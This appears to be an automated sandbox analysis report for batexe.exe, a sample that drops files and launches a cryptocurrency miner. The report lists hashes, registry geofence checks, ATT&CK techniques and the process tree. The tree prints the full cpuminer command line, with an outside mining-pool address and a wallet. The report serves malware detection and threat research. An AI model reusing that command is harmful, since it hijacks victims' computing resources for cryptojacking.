73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
296s
platform
windows10-2004_x64
resource
win10v2004-20231215-ja
resource tags

arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
18/02/2024, 11:30

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3791175113-1062217823-1177695025-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3791175113-1062217823-1177695025-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
2380	b2e.exe
1056	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
1056	cpuminer-sse2.exe
1056	cpuminer-sse2.exe
1056	cpuminer-sse2.exe
1056	cpuminer-sse2.exe
1056	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/4336-9-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4336 wrote to memory of 2380	4336	batexe.exe	85
PID 4336 wrote to memory of 2380	4336	batexe.exe	85
PID 4336 wrote to memory of 2380	4336	batexe.exe	85
PID 2380 wrote to memory of 1340	2380	b2e.exe	86
PID 2380 wrote to memory of 1340	2380	b2e.exe	86
PID 2380 wrote to memory of 1340	2380	b2e.exe	86
PID 1340 wrote to memory of 1056	1340	cmd.exe	89
PID 1340 wrote to memory of 1056	1340	cmd.exe	89

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4336
- C:\Users\Admin\AppData\Local\Temp\7417.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\7417.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\7417.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2380
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7724.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1340
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:1056

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\7417.tmp\b2e.exe

Filesize
5.3MB

MD5
86a7de4f150a3b8ded8ffc88df1e23a0

SHA1
e568d1c80494271a09cd273e1b42ecff8b87fcf9

SHA256
610204b561bc34739ab2ca6450ab1b84b9c8fa92ba6029253c6204458275b9b4

SHA512
1069dfc705a964391f9d36aa8ba8c8edf7e4116c0e791ba4236a26ed7ba183dd755c95a3e3a6270f01ef70fdc04f5d5549192256991f83ed01ee39cd649ca341

Download Submit
C:\Users\Admin\AppData\Local\Temp\7417.tmp\b2e.exe

Filesize
2.0MB

MD5
46536105981aa70ae873bad13428c4eb

SHA1
7e4f4d36a7047b49af0240e6aa877036880a8277

SHA256
b42a088cb7a3a7c8d95d76e940a364bf7963ef757d82867f576e73e16d8c404d

SHA512
95df105e1d4fd8a83036986d2ed06684320b2835497a30a980a0fbc18250b384d36245bce4560fa05062019f63b7b4f1c24d746cf41ff99fbe6db14fe041060e

Download Submit
C:\Users\Admin\AppData\Local\Temp\7417.tmp\b2e.exe

Filesize
3.0MB

MD5
269695248f4f2851a27f9ad35489de20

SHA1
6cd9f551d87f552192e561c138ca913bd2988053

SHA256
98ba713aebc1a7403784a8d66bd51e549e9a60cfb3eaee79bcce121e74e1d58f

SHA512
4ea6de812dad400f229ad8a61e92f2feee42713733b8a4fd901325d5cc9e850054b9464afd51cbc63c2c679516e051a3b91b6554383986260a3966e9e00d9709

Download Submit
C:\Users\Admin\AppData\Local\Temp\7724.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
893KB

MD5
a514d742a6877e6729e8d47bef2d8bec

SHA1
0b44941b1266869fe8f1e5b1e1d4b94002523afa

SHA256
6d6882aee707734a3cd4186098882c575b53ad06f1f85adfc7125a149580e6b5

SHA512
09399e34a1f3d54ae92427fed44a600b7e216a4d75be40a1bf50155f889223827774fc9ae650b2f3d69dbd8601a3b5395ec8b1b4c4835ca0ee8d77e1c10bcddb

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
787KB

MD5
7a3a49079006ab8373bb85ceceb1bfe3

SHA1
c765034e1de783822e89c207370b5471b4467df2

SHA256
2f7f130976140323f4a2954011f932110bb0974bb7a888d9575d3df2b0421fd0

SHA512
cfb199dfbeeefbe630eeb7ce2961c3050ab50136c1d03fe0567f9d871ff59b819981ed9de104b6ae4353cb1a96673efdc471a0ebb7544c11fffa82a88abf4bc2

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
784KB

MD5
ced80f7102bef31540d534d433ea1152

SHA1
2ca3f4dbcb479b73ff7da62e6a89802a3095e8cd

SHA256
43aafb1f8da1e94cc63e1f2df8389fbe8efd3cfec19fa1adfd2947635f149664

SHA512
76ae64e869b6da7d2de0c3260a5d804a74dd240114cf23ab374d2134a32f4374f25e1b970ffbadb9a7b3744415ee45aaf1b2c39037b0f5f906ff6ae39708e3a4

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
614KB

MD5
45d5b8c2b3de3f41a1095b0fc27f18e8

SHA1
bd1ee4d71a65bca774c5397effc9a03efb272016

SHA256
780292077b3350b0cf729e2852a6a5ce17a1d8e55b633e32f02ea1ff0d5d4068

SHA512
129dad8fcdd1090c7a2794ee532c9b126d18f7cb4685a84b98255caa0d8a50371500e366aca6cf5c71026a62fd942103a38249135c59de06081e12fea080f4a8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
602KB

MD5
7fd1ebcd392230c333c32b6cd8fa6796

SHA1
adddf1a6856bb269563a8cde1375aa38888a8f7f

SHA256
f6b84fb043f7881512ed679fc8e03dd92e62f0c8f778007ab23df220759128a8

SHA512
fea310c404ff5bffe428dfae7f0f226515b58a3c34b2507c9a9ea449199a1637e4f0dc6999d75c4716f68ed59e14083c83585598be41bc64156f54e34316b7d0

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
688KB

MD5
d29507f0042469e182c5221275f933b9

SHA1
186e7bd9bd2d936e9a1e9d11b48c4339df69573e

SHA256
d27b541b8db361d9d753dd2ac7efdd48dd184493c588aa89a5c9d09825fb65af

SHA512
68caed2157d681b5b9992306bacd2098928f8694ebc2080c9208c4a2552bab6530185ddef920bd9d3a2f729bb059c46a415f4a0bb9400e318bf5bb8336b213c5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
675KB

MD5
ddb211ce515d88f41e2ea86374676a4d

SHA1
ceea224d0b3e25de898f3128a5d620de07947144

SHA256
cdd7b4d5a030e4cffe37f9241808a430c319d1920c76fc18d7c540943114d190

SHA512
328a3edb7bd08fab5189ea9b76a3e1a265dbc6b8d8bfc611a0f002df7ea7035c810065a3284fa71fdac27e26981e253a6615a9e817aff47403f46fe9b7db065a

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
519KB

MD5
b1a433eedb81e253e42ac1fb87673dac

SHA1
76a4da7a9519e7bc11e240dfb119e5ad5d1afa29

SHA256
2b008bf84e33e338556bd9658d37ae9f4fbe05296b84672bc67b85c859f45c51

SHA512
4ae6ac17d5e0e1fbc61f760b8752a89965650630a1561c047e536042d0fef043dedfbf0db9ba10b5b7cb363463127a11146de57b05439032b03b358ec9f87c24

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
828KB

MD5
6296624947cde2acedd58303f9e4150c

SHA1
1c6976d0c7b0bb3e9f2535c60a294f14c19317c7

SHA256
ecdeaab7bcce3f29618db21029acbb335bbb295e8d2e2216873d5df11258088a

SHA512
ce878bf3b75bdaff33f6ed97775117fd66941b3909885e40f5d5bc1d5af37654d860c204b10492b9ec402f2beabab896108bc5bfc4ffc83e6d63d3ebde8a9b2c

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
457KB

MD5
7e089ae00911e383f313993a289a3315

SHA1
e01b127d643ec7923e3148a53055f9dba4af3c6e

SHA256
088eaff64eb307aa0b344999b5751751552817a056fdf34a6c8bec985d10b29c

SHA512
ad9602442073a0b924dc7ebd4bf3dfa2ff622c22fe20694d3e2e73e51fb6c360a4b50718d942236a9001f667ffa472908cddcf8786e171198e7c2899aab1287c

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/1056-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1056-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1056-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1056-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/1056-45-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/1056-46-0x000000005BE40000-0x000000005BED8000-memory.dmp

Filesize
608KB

Download
memory/1056-47-0x0000000000F30000-0x00000000027E5000-memory.dmp

Filesize
24.7MB

Download
memory/1056-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1056-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1056-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1056-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1056-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1056-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1056-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1056-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2380-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2380-7-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4336-9-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download